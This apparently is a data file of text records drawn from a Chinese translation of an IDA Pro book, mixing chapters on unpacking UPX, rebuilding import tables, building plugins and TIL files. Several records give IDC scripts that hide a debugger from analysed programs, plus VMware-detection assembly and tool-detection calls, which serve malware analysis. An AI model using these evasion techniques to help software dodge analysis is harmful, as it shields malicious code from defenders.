向密钥过期的用户提供的折扣升级价格。 警告 如果没有小心保管密钥文件，未授权用户可能会假冒你提出升级请求，导致你无法升级 IDA 。 最后，强烈建议在升级 IDA 时备份现有的 IDA 版本，或将升级版本安装到一个完全不同的目录，以避免丢失你修改的任何配置文件。为了恢复你之前所做的任何修改，你可能需要编辑升级版本中的相应文件。同样，你还需要移动、重新编译或以其他形式获得新版的自定义 IDA 插件（请参阅第 17 章了解有关插件及其安装的详细信息）。"},
    {"text": "未知 3.3 IDA 支持资源 作为一名 IDA 用户，你可能想知道，如果遇到与 IDA 有关的问题，该从什么地方寻求帮助。如果我们做得还不错的话，本书也许能够解决用户遇到的大多数问题。如果你需要额外的帮助，请参考下面一些常用的资源。 正式的帮助文档 。IDA 确实提供了通过菜单激活的（menu-activated）帮助系统，但是，该文档主要介绍 IDA 的用户界面和脚本子系统，它对于我们了解 IDASDK 以及解决类似于“我该如何处理……”的问题并没有多大帮助。 Hex-Rays的支持页面和论坛 。Hex-Rays运行着一个支持页面 1 ，提供各种与 IDA 有关的资源的链接，包括针对得到许可证的用户的在线论坛。用户会发现，Ilfak 和Hex-Rays的其他核心程序员经常访问这些论坛，解答问题。用户可以通过这些论坛获得 SDK方面的非正式支持，因为在这里，有许多经验丰富的 IDA 用户乐于根据他们自己的经验为大家提供帮助。 1. 参见 http://www.hex-rays.com/idapro/idasupport.htm 。 有关如何使用 SDK 的问题，人们常常会告诉你“阅读包含文件”。但是，购买 IDA 产品，并不能获得 SDK 方面的正式支持。不过，Hex-Rays 倒是提供一个年度支持计划，每年收费 10 000 美元（是真的，10 000 美元）。要想了解 SDK ，Steve Micallef 的著作 IDA Plug-in Writing in C/C++ 2 是一个非常有用的资源。 2. 参见 http://www.binarypool.com/idapluginwriting/idapw.pdf 。 openRCE.org 。 http://www.openrce.org/ 是一个活跃的逆向工程社区，其中包含大量介绍IDA 应用的文章，以及一些活跃用户论坛。与Hex-Rays 网站上的论坛类似，openRCE.org也吸引了许多经验丰富的 IDA 用户，他们常在论坛上与其他用户彼此交流、分享经验，也许能帮助你解决在使用 IDA 时遇到的问题。 RCE论坛 。逆向代码工程（RCE ）论坛（ http://www.woodmann.com/ ）中包含大量与使用IDA Pro 有关的帖子。这个论坛的内容非常广泛，其主题不仅涉及如何使用 IDA Pro ，而且涵盖了许多用于对二进制文件进行逆向工程的工具和技巧。 IDA Palace 。虽然最近 IDA Palace 3 的人气已经明显不如从前，但是，它仍然是一个专门提供IDA 相关资源的网站。在这个网站上，访问者可以找到大量介绍如何使用 IDA 的文章的链接，以及用于扩展 IDA 功能的脚本和插件。 3. 参见 http://old.idapalace.net/ 。 Ilfak 的博客 。Ilfak 的博客 4 中包含许多详细介绍 IDA 用法的文章，可帮助用户解决通用反汇编、调试及恶意软件分析等各种问题。此外，其他 Hex-Rays 团队成员发的帖子通常会详细介绍一些最新的 IDA 功能，以及正在开发的功能。 4 参见 http://www.hexblog.com/ 。"},
    {"text": "未知 25.3 调试模糊代码 我们已经多次提到：在调试器中加载一个模糊程序，使它继续运行，直到去模糊过程完成，然后拍摄该程序经过去模糊处理后的内存快照，这似乎是一个不错的策略，可以帮助我们获得程序的去模糊版本。"},
    {"text": "但是，与调试相比，以受控执行（controlled execution）的方式实施这个策略可能要更好一些，因为这时我们只需要观察代码的运行状态，然后在适当的时候拍摄一张内存快照。"},
    {"text": "25.3.1 启动进程 无论你是否已花费数分钟或数小时使用 IDA 来研究某个恶意可执行程序，你都希望在调试器中初次启动该程序时就能控制它。"},
    {"text": "例如，PE 文件格式允许为每个线程的数据指派用于执行初始化和解构任务的TLS6回调函数 2 ，且这些 TLS6回调函数会在控制权转交到 start 之前被调用。 2. 有关TLS 回调函数的更多信息，参见PE 文件格式规范： http://msdn.microsoft.com/en-us/windows/hardware/gg-463119.aspx 。"},
    {"text": "包含一个 TLS回调函数的可执行程序的 Exports窗口如图 25-3 所示。 图25-3 Exports窗口显示一个TLS 回调函数 对于TLS 回调函数而言，关键在于确定它们确实存在，然后在每个 TLS 回调函数的起始位置设置断点，以确保你能够及时获得进程的控制权。"},
    {"text": "Stop on debugging message （在输出调试消息时停止） 。 每次进程使用调试打印设备输出消息时暂停调试器。 在 Windows 系统中，此选项对应于调用 OutputDebugString ，调试器将在kernel32.dll 中暂停。 为了防止你所调试的进程继续执行，超出你预想的位置，了解进程在发生这些调试器事件时可能的暂停位置非常重要。"},
    {"text": "如果你遇到这样的循环，分析它们的最简单方法是在所有可能的退出点设置断点，然后让循环开始执行。 你可以考虑单步执行这些循环一到两次，以初步了解它们，然后再相应地设置断点。"},
    {"text": "如果在一个循环结束后立即设置一个断点，你必须确保你设置的断点所在地址处的字节在整个循环过程中不会发生变化，否则，你可能无法触发软件断点。"},
    {"text": "例如，模糊Windows 可执行文件 UPX 解压例程的开始和结束部分如下所示： UPX1:00410370 start proc near ➊ UPX1:00410370 pusha UPX1:00410371 mov esi, offset off_40A000 UPX1:00410376 lea edi, [esi-9000h] UPX1:0041037C push edi ... UPX1:004104EC pop eax ➋ UPX1:004104ED popa ; opcode 0x53 UPX1:004104EE lea eax, [esp-80h] UPX1:004104F2 UPX1:004104F2 loc_4104F2: ; CODE XREF: start+186↓ j UPX1:004104F2 push 0 UPX1:004104F4 cmp esp, eax UPX1:004104F6 jnz short loc_4104F2 UPX1:004104F8 sub esp, 0FFFFFF80h ➌ UPX1:004104FB jmp loc_40134C 这个例程的几个特点可用于自动识别它是否完成。"},
    {"text": "由于单步跟踪相当缓慢，代码清单 25-1 中的IDC 示例采用一种稍微不同的方法来扫描 popa 指令，然后运行程序，直到 popa 所在的地址： 代码清单 25-1 简单的 UPX 解包器脚本 #include #define POPA 0x53 static main() { auto addr, seg; addr = BeginEA(); //Obtain the entry point address seg = SegName(addr); ➋ while (addr != BADADDR && SegName(addr) == seg) { ➌ if (Byte(addr) == POPA) { ➍ RunTo(addr); GetDebuggerEvent(WFNE_SUSP, -1); Warning(\"Program is unpacked!\"); ➎ TakeMemorySnapshot(1); return; } ➊ addr = FindCode(addr, SEARCH_NEXT | SEARCH_DOWN); } Warning(\"Failed to locate popa!\"); } 代码清单25-1 中的脚本需要在启动调试器之前在 IDA 数据库中启动，并且假设你以前已经使用Debugger ▶Select debugger选择了一个调试器。"},
    {"text": "由于在解包一个压缩二进制文件之前，UPX会对这个文件全面检查，因此，我们可以对该文件进行一些简单的修改，使完整性检查失效，并令UPX 的解包功能无法操作，但又不影响这个压缩二进制文件的运行。"},
    {"text": "这个脚本因这两个依据从程序的入口点开始向前扫描，一次一条指令（➊）——只要下一条指令位于同一个程序段内（➋）——直到当前指令为 popa （➌）。"},
    {"text": "一个更加通用的自动化解包解决方案利用了一个事实：许多去模糊例程通常被附加到一个二进制文件的结尾部分，一旦去模糊完成，它将跳转到初始的入口点，这个入口点通常在二进制文件的开始部分。"},
    {"text": "代码清单 25-2 继续运行，直到到达 OEP start = BeginEA() ➊ RunTo(start) GetDebuggerEvent(WFNE_SUSP, -1) ➋ EnableTracing(TRACE_STEP, 1) code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1) while code > 0: ➌ if GetEventEa() < start: break code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1) ➍ PauseProcess() GetDebuggerEvent(WFNE_SUSP, -1) ➎ EnableTracing(TRACE_STEP, 0) ➏ MakeCode(GetEventEa()) TakeMemorySnapshot(1) 与代码清单 25-1 中的脚本类似，这个脚本应该从反汇编器而不是调试器中启动。"},
    {"text": "对警告中的问题回答“是”，IDA 会将相关字节重新格式化成代码，这样做是正确的，因为指令指针指出这是下一个将要提取出来并执行的项目。"},
    {"text": "其次，在这个脚本中，任何对反汇编器去同步的尝试都将失败，因为指令边界完全由指令指针的运行时值决定，而不能通过静态反汇编分析决定。"},
    {"text": "虽然我们从未打算执行经过去模糊处理的导入表（实际上，如果一个快照被直接加载到 IDA 数据库中，我们根本无法执行这个程序），但是要了解程序的行为，该程序的导入表几乎总是一个非常重要的资源。"},
    {"text": "如果拍摄一个进程的内存快照，我们最多可以得到下面的内容（部分显示）： UPX1:0040A000 dword_40A000 dd 7C812F1Dh ; DATA XREF: start+1↓o UPX1:0040A004 dword_40A004 dd 7C91043Dh ; DATA XREF: sub_403BF3+68↑r UPX1:0040A004 ; sub_405F0B+2B4↑ r ... UPX1:0040A008 dd 7C812ADEh UPX1:0040A00C dword_40A00C dd 7C9105D4h ; DATA XREF: sub_40621F+5D↑r UPX1:0040A00C ; sub_4070E8+F↑ r ... UPX1:0040A010 dd 7C80ABC1h UPX1:0040A014 dword_40A014 dd 7C901005h ; DATA XREF: sub_401564+34↑r UPX1:0040A014 ; sub_4015A0+27↑ r ... 这段代码描述大量 4 字节值，它们的地址紧密相连，并且被程序中许多不同的位置引用。"},
    {"text": "在程序的代码块中，我们可以看到类似于下面的函数调用： UPX0:00403C5B ➊ call ds:dword_40A004 UPX0:00403C61 test eax, eax UPX0:00403C63 jnz short loc_403C7B UPX0:00403C65 ➌ call sub_40230F UPX0:00403C6A mov esi, eax UPX0:00403C6C ➋ call ds:dword_40A058 需要注意的是，有两个函数调用（➊和➋）引用了重建后的导入表的内容，而第三个函数调用（➌）引用的是一个正文位于数据库中的函数。"},
    {"text": "因为调试器已经访问了每一个被引用的函数所在的内存区域，现在调试器能够将地址（如 7C812F1Dh ）显示成与之对应的符号名称（这里为 kernel32_GetCommandLineA ）。"},
    {"text": "UPX1:0040A000 off_40A000 dd offset kernel32_GetCommandLineA;DATAXREF:UPX0:loc_40128F↑r UPX1:0040A000 ; start+1 ↓ o UPX1:0040A004 off_40A004 dd offset ntdll_RtlFreeHeap ; DATA XREF: UPX0:004011E4↑ r UPX1:0040A004 ; UPX0:0040120A↑r ... UPX1:0040A008 off_40A008 dd offset kernel32_GetVersionExA ;DATA XREF: UPX0:004011D4↑r UPX1:0040A00C dd offset ntdll_RtlAllocateHeap ; DATA XREF:UPX0:004011B3↑r UPX1:0040A00C ; sub_405E98+D↑ r ... UPX1:0040A010 off_40A010 dd offset kernel32_GetProcessHeap ;DATA XREF:UPX0:004011AA↑r UPX1:0040A014 dd offset ntdll_RtlEnterCriticalSection ; DATA XREF: sub_401564+34↑ r UPX1:0040A014 ; sub_4015A0+27 ↑ r ... 注意，这时调试器采用的命名方案与我们常见的命名方案略有不同。"},
    {"text": "这种获取名称的方法存在一种问题，即有些时候，库名称和函数名称可能都包含有下划线字符，这使得我们很难确定一个较长的名称字符串中函数名称的准确长度。"},
    {"text": "这个脚本必须在调试器处于活动状态（以便访问加载的库名称）时才能正常运行，并且我们必须能够确定去模糊二进制文件中重构导入表的位置。"},
    {"text": "UPX 用于调用 GetProcAddress 并存储结果的代码如代码清单 25-3 所示。 代码清单 25-3 解析并存储导入的函数地址的UPX代码 UPX1:00408897 ➊ call dword ptr [esi+8090h] UPX1:0040889D or eax, eax UPX1:0040889F jz short loc_4088A8 UPX1:004088A1 ➋ mov [ebx], eax UPX1:004088A3 ➌ add ebx, 4 对 GetProcAddress 的调用发生在➊处，其结果存储在内存中的➋处。"},
    {"text": "执行这个脚本后，前面的导入表将转换成如下所示的导入表： UPX1:0040A000 ; LPSTR __stdcall GetCommandLineA() UPX1:0040A000 GetCommandLineA dd offset kernel32_GetCommandLineA UPX1:0040A000 ; DATA XREF: UPX0:loc_40128F↑r UPX1:0040A000 ; start+1 ↓ o UPX1:0040A004 RtlFreeHeap dd offset ntdll_RtlFreeHeap ; DATA XREF: UPX0:004011E4↑r UPX1:0040A004 ; UPX0:0040120A ↑ r ... UPX1:0040A008 ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) UPX1:0040A008 GetVersionExA dd offset kernel32_GetVersionExA;DATA XREF:UPX0:004011D4↑r UPX1:0040A00C RtlAllocateHeap dd offset ntdll_RtlAllocateHeap;DATA XREF:UPX0:004011B3↑r UPX1:0040A00C ; sub_405E98+D↑ r ... UPX1:0040A010 ; HANDLE __stdcall GetProcessHeap() UPX1:0040A010 GetProcessHeap dd offset kernel32_GetProcessHeap;DATA XREF:UPX0:004011AA↑r UPX1:0040A014 RtlEnterCriticalSection dd offset ntdll_RtlEnterCriticalSection UPX1:0040A014 ; DATA XREF: sub_401564+34↑ r UPX1:0040A014 ; sub_4015A0+27 ↑ r ... 如上所示，renimp.idc 脚本已经重命名了每一个导入表条目，但 IDA 为每一个它拥有类型信息的函数添加了函数原型。"},
    {"text": "renimp.idc 脚本会对ws2_32进行特殊处理，但对于任何其他名称中包含下划线的模块，renimp.idc 脚本无法从它们的名称中提取出正确的函数名称。"},
    {"text": "下面我们命名了 createImportLabel 函数并将其定义如下： static createImportLabel() { auto n = Name(EAX); auto i = strstr(n, \"_\"); while (i != -1) { n = n[i+1:]; i = strstr(n, \"_\"); } MakeUnkn(EBX,DOUNK_EXPAND); MakeDword(EBX); if (MakeNameEx(EBX,n,SN_NOWARN) == 0) { MakeNameEx(EBX,n + \"_\",SN_NOWARN); } return 0; } 这个函数首先查询 EAX引用的名称。"},
    {"text": "要解决这个问题，我们可以创建一个脚本文件（根据定义取名为 IDC ），其中包含 createImportLabel 函数以及如下所示的简单的 main 函数： static main() { ➊ AddBpt(ScreenEA()); ➋ SetBptCnd(ScreenEA(), \"createImportLabel()\"); } 将光标放在要在其上设置断点的指令上，然后运行此脚本（File▶Script File），将生成一个条件断点，每次触发该断点时都会调用 createImportLabel 。"},
    {"text": "renimp.idc 在处理名称中包含下划线字符的模块时遇到的问题也得以避免，因为这时的函数名称是直接从进程内存空间中的导出表中提取出来的。"},
    {"text": "为每一个导入表条目正确命名的效果还会直接在反汇编代码清单中反映出来，如下面自动更新的反汇编代码清单所示： UPX0:00403C5B call ds:RtlFreeHeap UPX0:00403C61 test eax, eax UPX0:00403C63 jnz short loc_403C7B UPX0:00403C65 call sub_40230F UPX0:00403C6A mov esi, eax UPX0:00403C6C call ds:RtlGetLastWin32Error 每一个重命名后的导入表条目的名称应用到了调用导入函数的所有位置，这进一步提高了反汇编代码清单的可读性。"},
    {"text": "为了从脚本启动调试会话，首先运行下面的代码： auto n; for (n= 0; n < GetEntryPointQty(); n++) { auto ord = GetEntryOrdinal(n); if (GetEntryName(ord) == \"TlsCallback_0\") { AddBpt(GetEntryPoint(ord)); break; } } RunTo(BeginEA()); GetDebuggerEvent(WFNE_SUSP, -1); 这些语句检查 TLS 调用函数是否存在，设置断点（如果有的话），然后启动调试器，请求在入口点地址处中止，然后等待操作完成（严格来讲，我们还应当测试 GetDebuggerEvent 的返回值）。"},
    {"text": "如果我们知道已经停在了与 TLS 回调相对的程序入口点，找到 PEB 的位置其实相当简单，因为在进入进程后，EBX 寄存器中即包含一个指向 PEB 的指针。 但是，如果进程已在 TLS 回调函数处停止，那么我们需要采用一种更为常规的方法来查找 PEB 。"},
    {"text": "auto seg; auto peb = 0; auto tid = GetCurrentThreadId(); auto tib = sprintf(\"TIB[%08X]\", tid); //IDA naming convention for (seg = FirstSeg(); seg != BADADDR; seg = NextSeg(seg)) { if (SegName(seg) == tib) { peb = Dword(seg + 0x30); //read PEB pointer from TIB break; } } if (peb != 0) { PatchDbgByte(peb + 2, 0); //Set PEB!IsDebugged to zero } 值得注意的是，在 IDA 5.5 之前，IDA 并未引入 PatchDbgByte 函数。"},
    {"text": "globalFlags = Dword(peb + 0x68) & ~0x70; //read and mask PEB.NtGlobalFlags PatchDword(peb + 0x68, globalFlags); //patch PEB.NtGlobalFlags Falliere的文章中提到的一些技巧利用了有进程被调试与没有进程被调试时系统函数返回的信息之间的差异。"},
    {"text": "查询 NtQueryInformationProcess 的地址。 在 NtQueryInformationProcess 上设置断点。 添加一个断点条件以调用我们将其命名为 bpt_NtQueryInformationProcess 的函数，每次调用 NtQueryInformationProcess 时都会执行该函数。 要查找 NtQueryInformationProcess 的地址，我们需要记住这个函数将在调试器中命名为 ntdll_NtQueryInformationProcess 。 配置必要断点的代码如下所示： func = LocByName(\"ntdll_NtQueryInformationProcess\"); AddBpt(func); SetBptCnd(func, \"bpt_NtQueryInformationProcess()\"); 我们所需要做的是执行断点函数，使“多疑的”进程无法发现我们的调试器。"},
    {"text": "函数 NtQuery- InformationProcess 的原型如下所示： NTSTATUS WINAPI NtQueryInformationProcess( __in HANDLE ProcessHandle, ➊ __in PROCESSINFOCLASS ProcessInformationClass, ➋ __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength ); 该函数通过在 ProcessInformationClass 参数中提供一个整数查询标识符（➊），以请求与进程有关的信息。"},
    {"text": "一个始终将 ProcessDebugPort 的返回值设置为零的断点函数如下所示： #define ProcessDebugPort 7 static bpt_NtQueryInformationProcess() { auto p_ret; ➊ if (Dword(ESP + 8) == ProcessDebugPort) {//test ProcessInformationClass ➋ p_ret = Dword(ESP + 12); ➌ if (p_ret) { ➍ PatchDword(p_ret, 0); //fake no debugger present } ➎ EIP = Dword(ESP); //skip function, just return ➏ ESP = ESP + 24; //stdcall so clear args from stack ➐ EAX = 0; //signifies success } return 0; //don’t pause at the breakpoint } 如前所述，这个函数在每次调用 NtQueryInformationProcess 时执行。"},
    {"text": "如果调用方正请求 ProcessDebugPort ，则该函数继续执行，获取返回值指针（➋），检查它是否为非零（➌），最后保存一个零返回值（➍），从而达到隐藏调试器的目的。"},
    {"text": "该函数的原型如下所示： NTSTATUS NtSetInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); 有一种反调试技巧，它将 ThreadHideFromDebugger 值传递到 ThreadInformationClass 参数中，它会使线程脱离调试器。"},
    {"text": "最后的设置代码如下所示： func = LocByName(\"ntdll_NtSetInformationThread\"); AddBpt(func); //break at function entry SetBptCnd(func, \"bpt_NtSetInformationThread()\"); 相关的断点函数如下所示： #define ThreadHideFromDebugger 0x11 static bpt_NtSetInformationThread() { ➊ if (Dword(ESP + 8) == ThreadHideFromDebugger) {//test ThreadInformationClass ➋ EAX = 0; //STATUS_SUCCESS ➌ EIP = Dword(ESP); //just return ➍ ESP = ESP + 20; //simulate stdcall } return 0; } 我们测试 ThreadInformationClass 参数的值（➊ ），并避开函数正文（如果用户已经指定 ThreadHideFromDebugger ）。"},
    {"text": "我们最后讨论的函数为kernel32.dll 中的 OutputDebugStringA ，Falliere在他的文章中介绍了如何在反调试技巧中应用这个函数。 该函数的原型如下所示： void WINAPI OutputDebugStringA( __in_opt LPCTSTR lpOutputString ); 在这个例子中， WINAPI 是 _stdcall 的同义词，用于指定 OutputDebugStringA 使用的调用约定。"},
    {"text": "正常情况下，如果 _stdcall 函数确实返回一个值，那它应该返回 EAX寄存器中的值。 由于在 OutputDe- bugStringA 返回时，EAX必须保存某个值，因此，我们可以认为这个值就是该函数的返回值。"},
    {"text": "下面的 IDC 代码用于实施这个技巧： func = LocByName(\"kernel32_OutputDebugStringA\"); AddBpt(func); //fix the return value as expected in non-debugged processes //also adjust EIP and ESP ➊ SetBptCnd(func, \"!((EAX = 1) && (EIP = Dword(ESP)) && (ESP = ESP + 8))\"); 这个例子使用和前一个例子相同的技巧自动定位 OutputDebugStringA 函数的结束部分。"},
    {"text": "在这个例子中，断点表达式修改（注意，这里是赋值而不是比较）EAX寄存器，以确保它在函数返回时包含值1 ，并且也能调整EIP 和ESP 以避开该函数。"},
    {"text": "本书的网站包含一个脚本（HideDebugger.idc），它将我们在这一节介绍的所有要素组合到一个有用的工具中，用于启动调试会话，并同时采取措施来阻止反调试。"},
    {"text": "6. 参见 http://www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html 、 http://www.hexblog.com/2005/11/stealth_plugin_1.html 和 http://www.hexblog.com/2005/11/the_ultimate_stealth_method_1.html 。"},
    {"text": "SDK 自带的install_ xxx.txt 文件介绍了如何通过GUN make和gcc，使用/bin/idamake.pl构建插件。 idamake.pl 文件用于从 Borland风格的生成文件生成一个 GNU make 风格的生成文件，然后调用 GNU make 构建插件。"},
    {"text": "要构建插件，我们的首选是使用简化版本的生成文件和 GNU工具（通过Windows 上的MinGW）。 你可以将代码清单 17-1 中的简化版本的生成文件直接应用到你的插件项目中。"},
    {"text": "代码清单 17-1 创建 IDA 插件的一个样本生成文件 #Set this variable to point to your SDK directory IDA_SDK=../../ PLATFORM=$(shell uname | cut -f 1 -d _) ifneq \"$(PLATFORM)\" \"MINGW32\" IDA=$(HOME)/ida endif #Set this variable to the desired name of your compiled plugin PROC=idabook_plugin ifeq \"$(PLATFORM)\" \"MINGW32\" PLATFORM_CFLAGS=-D__NT__ -D__IDP__ -DWIN32 -Os -fno-rtti PLATFORM_LDFLAGS=-shared –s LIBDIR=$(shell find ../../ -type d | grep -E \"(lib|lib/)gcc.w32\") ifeq ($(strip $(LIBDIR)),) LIBDIR=../../lib/x86_win_gcc_32 endif IDALIB=$(LIBDIR)/ida.a PLUGIN_EXT=.plw else ifeq \"$(PLATFORM)\" \"Linux\" PLATFORM_CFLAGS=-D__LINUX__ PLATFORM_LDFLAGS=-shared –s IDALIB=-lida IDADIR=-L$(IDA) PLUGIN_EXT=.plx else ifeq \"$(PLATFORM)\" \"Darwin\" PLATFORM_CFLAGS=-D__MAC__ PLATFORM_LDFLAGS=-dynamiclib IDALIB=-lida IDADIR=-L$(IDA)/idaq.app/Contents/MacOs PLUGIN_EXT=.pmc endif #Platform specific compiler flags CFLAGS=-Wextra -Os $(PLATFORM_CFLAGS) #Platform specific ld flags LDFLAGS=$(PLATFORM_LDFLAGS) #specify any additional libraries that you may need EXTRALIBS= # Destination directory for compiled plugins OUTDIR=$(IDA_SDK)bin/plugins/ #list out the object files in your project here OBJS=idabook_plugin.o BINARY=$(OUTDIR)$(PROC)$(PLUGIN_EXT) all: $(OUTDIR) $(BINARY) clean: -@rm *.o -@rm $(BINARY) $(OUTDIR): -@mkdir -p $(OUTDIR) CC=g++ INC=-I$(IDA_SDK)include/ %.o: %.cpp $(CC) -c $(CFLAGS) $(INC) $ -o $@ LD=g++ $(BINARY): $(OBJS) $(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDADIR) $(IDALIB) $(EXTRALIBS) #change idabook_plugin below to the name of your plugin, make sure to add any #additional files that your plugin is dependent on idabook_plugin.o: idabook_plugin.cpp 前面的生成文件使用 uname 命令确定运行平台并相应地配置一些构建标志。"},
    {"text": "$IDA_SDK 变量用于指定 的位置，它可以使用绝对或相对路径。 在这个例子中， $IDA_SDK 使用的是一个相对路径，表示 比插件目录高两个目录。"},
    {"text": "表17-1 Visual Studio 插件配置值（32位） 配置属性类别 特定的属性 属 性 值 常规 输出目录 根据需要，通常为〈SDKDIR〉\\bin\\plugins C/C++▶常规 其他包含目录 添加<SDKDIR>\\include C/C++▶预处理器年 预处理器定义 附加“;_NT_;_IDP_ ” C/C++▶代码生成 运行库 多线程〈发行版〉 a 多线程调试（调试版） （非DLL版本） b 链接器▶常规 输出文件 更改扩展名为.plw 链接器▶常规 其他库目录 添加\\lib\\x86_win_vc_32 c 链接器▶输入 其他依赖关系 添加ida.lib （取自\\lib\\86_win_vc_32 ） 链接器▶命令行 其他选项 添加/EXPORT:PLUGIN a 这里的多线程指C++ 运行库本身。"},
    {"text": "另外，从Configurations 下拉列表（Properties对话框的左上角）中选择 All Configurations，可以为你节省一些时间，因为这时你对属性所做的修改将应用于所有构建配置。"},
    {"text": "未知 6.4 小结 本章介绍了帮助你高效浏览反汇编代码的最基本的技巧。到目前为止，我们已经讨论了与IDA 进行交互所涉及的绝大多数操作。了解如何导航后，下一步我们将学习如何修改IDA 数据库，以满足用户的特殊要求。在下一章中，我们将学习如何对反汇编代码进行最基本的修改，从而在了解二进制文件内容和行为的基础上掌握新的知识。"},
    {"text": "实际上，虽然它们使你仅仅通过静态分析技巧难以理解一个程序的真正行为，但是它们无法阻止该程序运行，否则，它们将使一个程序失去作用，因而我们也就完全没有必要分析这个程序。 程序必须运行才能有效地工作，鉴于此，动态分析旨在观察运动中（运行中）的程序行为，而不是观察静止的程序（如果程序并未运行，则使用静态分析）。"},
    {"text": "21.2.1 检测虚拟化 配置沙盒环境的一个最常见的目的是利用虚拟化软件（如 VMware）为恶意软件（或者这方面的任何其他相关软件）提供一个执行环境。"},
    {"text": "VMware Tools就是一个这样的软件。 在虚拟机中运行的程序能够轻易检测到这种类型的软件。 例如，如果在一个微软Windows 虚拟机中安装 VMware Tools ，它会创建任何程序都可以读取的 Windows 注册表项。"},
    {"text": "检测虚拟化硬件 。 虚拟机利用虚拟硬件抽象层为虚拟机与主计算机的本地硬件提供接口。 在虚拟机中运行的软件通常很容易检测到虚拟硬件的特性。"},
    {"text": "例如，下面的 4 行代码可用于确定你是否在一个 VMware 虚拟机中运行 2 ： 2. 参见 http://www.codeproject.com/KB/system/VmDetect.aspx （作者：Elias Bachaalany ）。"},
    {"text": "mov eax, 0x564D5868 ; 'VMXh' mov ecx, 10 xor ebx, ebx mov dx, 0x5658 ; 'VX' ➊ in eax, dx 如果你在虚拟机中，这段代码将导致 EBX 寄存器包含 0x564D5868 这个值。"},
    {"text": "但是，在VMware 中，这个指令序列可用于检测一个特殊的通信通道，VMware客户操作系统使用这个通道与它们的主机操作系统进行通信。 例如，VMware Tools使用这个通道在主机与客户操作系统之间交换数据（如剪贴板内容）。"},
    {"text": "虽然并不是相关主题的第一篇论文，但Tom Liston 与Ed Skoudis 4 的论文“On the Cutting Edge: Thwarting Virtual Machine Detection”为我们简要介绍了各种虚拟机检测技巧。"},
    {"text": "21.2.2 检测“检测工具” 创建沙盒环境后，在执行你想要观察的任何程序之前，你都要安装检测工具，以正确收集和记录与你所分析的程序的行为有关的信息。"},
    {"text": "他们采用的技巧包括：扫描活动进程列表，查找已知与这类监控软件有关的进程名称，以及扫描所有活动Windows 应用程序的标题栏文本，从中搜索已知的字符串。"},
    {"text": "例如，WinLincense模糊/ 保护程序使用下面的函数调用确定Filemon（Process Monitor 的前身）实用工具当前是否正在运行： if (FindWindow(\"FilemonClass\", NULL)) { //exit because Filemon is running } 这里， FindWindow 函数用于根据窗口的注册类名称\" FilemonClass \"（而非窗口标题）搜索一个顶级应用程序窗口。"},
    {"text": "对模糊程序使用调试器的一个惯常做法是运行模糊程序足够长的时间，以完成任何解压或加密任务，然后利用调试器的内存访问功能从内存中提取出“去模糊”后的进程映像。"},
    {"text": "检测调试器是否存在的技巧包括通过常用的 API 函数（如Windows IsDebuggerPresent 函数）直接查询操作系统，或使用较为低级的方法，即检查因为使用调试器而生成的内存或处理器项目（artifact ）。"},
    {"text": "只要你知道自己到底想要搜索什么，那么检测调试器就并非难事，而且在静态分析过程中你也可以轻易发现这类检测尝试（除非同时使用了反静态分析技巧）。"},
    {"text": "这些其他的技巧尝试通过引入伪造的断点、清除硬件断点、阻碍反汇编，使选择合适的断点地址变得困难，或者通过阻止调试器依附到一个进程上，令调试器“不知所措”。"},
    {"text": "即使每条指令的起始地址已知，但软件断点只有在指令被完全解码后才能设置，因为以插入一个软件断点的方式来修改指令，可能会导致对模糊代码的加密失败；"},
    {"text": "使用进程跟踪API，一个进程跟踪父进程可以依附到一个进程跟踪子进程上，并控制子进程的执行。 为了控制一个进程，父进程必须首先依附到它想要控制的子进程上。"},
    {"text": "随后，只要收到信号，子进程就会停止运行，而父进程则通过POSIX wait 函数得到通知，这时，它可以选择修改或检查子进程的状态，然后指示子进程继续执行。"},
    {"text": "如果其中的一个依附操作失败，Shiva 会认为另一个调试器被用于监控它的进程，它会立即终止。 如果这两个依附操作都取得成功，则说明没有其他调试器能够依附到正在运行的 Shiva 进程对上，Shiva 将继续运行，而不用担心被监视。"},
    {"text": "未知 8.6 IDA TIL 文件 IDA 中的所有数据类型和函数原型信息都存储在 TIL 文件中。IDA 拥有存储在<IDADIR>/til目录中的许多主要编译器和 API 的类型库信息。Types 窗口（View▶ Open subview▶ Type Libraries ）列出了当前加载的.til 文件，并可用于加载你想要使用的其他.til 文件。IDA 将根据在分析阶段发现的二进制文件属性，自动加载类型库。正常情况下，多数用户不需要直接处理.til 文件。 8.6.1 加载新的TIL文件 有时候，IDA 可能无法检测到用于构建某个二进制文件的特殊编译器，这可能是由于该二进制文件经过某种形式的模糊处理所致。这时，你可能需要在Types窗口中按下 INSERT 键，并选择你想要加载的.til文件。加载一个新的.til文件后，该文件包含的所有结构体定义都被添加到标准结构体列表中，其类型信息也被应用于二进制文件中的某些函数，这些函数可在新加载的.til 文件中找到匹配的原型。换句话说，一旦IDA 获知与某个函数有关的新信息，它就会自动应用这些新信息。 8.6.2 共享TIL文件 IDA 还利用.til 文件存储你在 Structures窗口中手动创建的或者通过解析 C 头文件获得的任何自定义结构体定义。这些结构体存储在一个与创建它们的数据库有关的专用.til 文件中。该文件的名称与其相关数据库的名称相同，扩展名为.til。例如，如果数据库名为 some_file.idb ，则相应的类型库文件则为 some_file.til。在正常情况下，你根本不会看到这个文件，除非你碰巧在 IDA中打开了上述数据库。前面我们提到过，.idb 文件实际上是一个归档文件（类似于.tar 文件），用于保存不使用的数据库组件。打开一个数据库时，其组件文件（.til 文件为其中之一）将被提取出来，成为 IDA 中的运行文件。 有关如何在数据库之间共享.til 文件的讨论，请访问 http://www.hex-rays.com/forum/viewtopic.php?f=6&t=986 1 。有两种共享方法。第一种方法有些不太正规，即将.til 文件由打开的数据库复制到另一个目录中，然后再通过 Types 窗口，在任何其他数据库中打开这个.til 文件。第二种是一种正式的方法，即从一个数据库中提取出自定义类型信息，生成一段 IDC 脚本，用于在任何其他数据库中重建自定义结构体。使用 File▶ Produce File▶ Dump Type. into to IDC File （文件▶生成文件▶转储类型信息到IDC 文件）命令可生成该脚本。但是，与第一种方法不同的是，这种方法只能转储 Structures窗口中列出的结构体，但并不转储通过解析 C 头文件得到的结构体（而复制.til 文件却可以转储这类结构体）。 